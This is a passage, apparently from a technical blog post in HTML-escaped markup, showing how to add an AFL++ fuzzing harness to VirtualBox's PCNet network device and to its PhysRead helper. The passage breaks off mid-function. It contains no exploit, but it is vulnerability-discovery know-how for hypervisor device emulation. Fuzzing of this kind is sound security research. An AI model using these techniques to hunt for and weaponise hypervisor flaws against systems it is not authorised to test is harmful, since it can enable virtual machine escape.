&lt;span class=&quot;n&quot;&gt;DECLR3CALLBACKMEMBER&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pfnReserved2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PPDMDEVINS&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;All device drivers have a state, which we can access using convenient macro &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PDMDEVINS_2_DATA&lt;/code&gt;. Likewise, we can extend the state structure (in our case &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PCNETSTATE&lt;/code&gt;) to include the FDP header file via a pointer to FDP:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// src/VBox/Devices/Network/DevPCNet.cpp&lt;/span&gt;

&lt;span class=&quot;cp&quot;&gt;#ifdef IN_RING3
# include &amp;lt;iprt/mem.h&amp;gt;
# include &amp;lt;iprt/semaphore.h&amp;gt;
# include &amp;lt;iprt/uuid.h&amp;gt;
# include &amp;lt;fuzzer/FuzzedDataProvider.h&amp;gt; &lt;/span&gt;&lt;span class=&quot;cm&quot;&gt;/* Add this */&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#endif
&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// [ SNIP ]&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;typedef&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PCNETSTATE&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// [ SNIP ]&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#endif &lt;/span&gt;&lt;span class=&quot;cm&quot;&gt;/* VBOX_WITH_STATISTICS */&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;    &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fdp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;cm&quot;&gt;/* Add this */&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PCNETSTATE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/** Pointer to a shared PCnet state structure. */&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;typedef&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PCNETSTATE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PPCNETSTATE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To reflect these changes, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;g_DevicePCNet&lt;/code&gt; structure has to be updated too :&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/**
 * The device registration structure.
 */&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PDMDEVREG&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;g_DevicePCNet&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// [[ SNIP ]]&lt;/span&gt;
  &lt;span class=&quot;cm&quot;&gt;/* .pfnConstruct = */&lt;/span&gt;           &lt;span class=&quot;n&quot;&gt;pcnetR3Construct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// [[ SNIP ]]&lt;/span&gt;
  &lt;span class=&quot;cm&quot;&gt;/* .pfnReserved0 = */&lt;/span&gt;           &lt;span class=&quot;n&quot;&gt;pcnetR3_AFL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;cm&quot;&gt;/* .pfnReserved1 = */&lt;/span&gt;           &lt;span class=&quot;n&quot;&gt;pcnetR3_GetFDP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When adding new functions, we must be careful and include them inside R3 only parts. The easiest way is to find the R3 constructor and add new code just after that, as it already has defined the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IN_RING3&lt;/code&gt; macro for the conditional compilation.&lt;/p&gt;

&lt;p&gt;An example of the PCNet harness:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;DECLCALLBACK&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pcnetR3_GetFDP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PPDMDEVINS&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;PPCNETSTATE&lt;/span&gt;     &lt;span class=&quot;n&quot;&gt;pThis&lt;/span&gt;   &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PDMDEVINS_2_DATA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PPCNETSTATE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pThis&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fdp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;__AFL_COVERAGE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;DECLCALLBACK&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pcnetR3_AFL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PPDMDEVINS&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x2000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;__AFL_COVERAGE_SKIP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;VINF_SUCCESS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x2000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;memcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;FuzzedDataProvider&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;provider&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;PPCNETSTATE&lt;/span&gt;     &lt;span class=&quot;n&quot;&gt;pThis&lt;/span&gt;   &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PDMDEVINS_2_DATA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PPCNETSTATE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;pThis&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fdp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;provider&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Make it accessible for the other modules&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;FuzzedDataProvider&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pfdp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;FuzzedDataProvider&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pfnGetFDP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pvUser&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Array&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;uint16_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;offPort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;uint16_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;pcnetR3Reset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;__AFL_COVERAGE_DISCARD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;__AFL_COVERAGE_ON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pfdp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;remaining_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;auto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;choice&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pfdp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ConsumeIntegralInRange&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;offPort&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pfdp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ConsumeIntegral&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;uint16_t&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

        &lt;span class=&quot;n&quot;&gt;u32&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pfdp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ConsumeIntegral&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;cb&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pfdp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PickValueInArray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;switch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;choice&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;c1&quot;&gt;// pcnetIoPortWrite(PPDMDEVINS pDevIns, void *pvUser, &lt;/span&gt;
                &lt;span class=&quot;c1&quot;&gt;//   RTIOPORT offPort, uint32_t u32, unsigned cb)&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;pcnetIoPortWrite&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pvUser&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;offPort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;c1&quot;&gt;// pcnetIoPortAPromWrite(PPDMDEVINS pDevIns, void *pvUser, &lt;/span&gt;
                &lt;span class=&quot;c1&quot;&gt;//   RTIOPORT offPort, uint32_t u32, unsigned cb)&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;pcnetIoPortAPromWrite&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pvUser&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;offPort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;c1&quot;&gt;// pcnetR3MmioWrite(PPDMDEVINS pDevIns, void *pvUser,&lt;/span&gt;
                &lt;span class=&quot;c1&quot;&gt;//   RTGCPHYS off, void const *pv, unsigned cb)&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;pcnetR3MmioWrite&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pvUser&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;offPort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;nl&quot;&gt;default:&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;__AFL_COVERAGE_OFF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;pThis&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fdp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;VINF_SUCCESS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;fuzzing-pdmdevhlpphysread&quot;&gt;Fuzzing PDMDevHlpPhysRead&lt;/h3&gt;

&lt;p&gt;As the device driver calls this function multiple times, we decided to patch the wrapper instead of modifying every instance. We can do so by editing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src/VBox/VMM/VMMR3/PDMDevHlp.cpp&lt;/code&gt;, adding the relevant FDP header, and changing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pdmR3DevHlp_PhysRead&lt;/code&gt; method to fuzz only the specific driver.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&quot;dtrace/VBoxVMM.h&quot;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&quot;PDMInline.h&quot;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;fuzzer/FuzzedDataProvider.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt; /* Add this */&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// [ SNIP ]&lt;/span&gt;

&lt;span class=&quot;cm&quot;&gt;/** @interface_method_impl{PDMDEVHLPR3,pfnPhysRead} */&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;DECLCALLBACK&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pdmR3DevHlp_PhysRead&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PPDMDEVINS&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RTGCPHYS&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GCPhys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pvBuf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cbRead&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;PDMDEV_ASSERT_DEVINS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;PVM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pVM&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Internal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pVMR3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
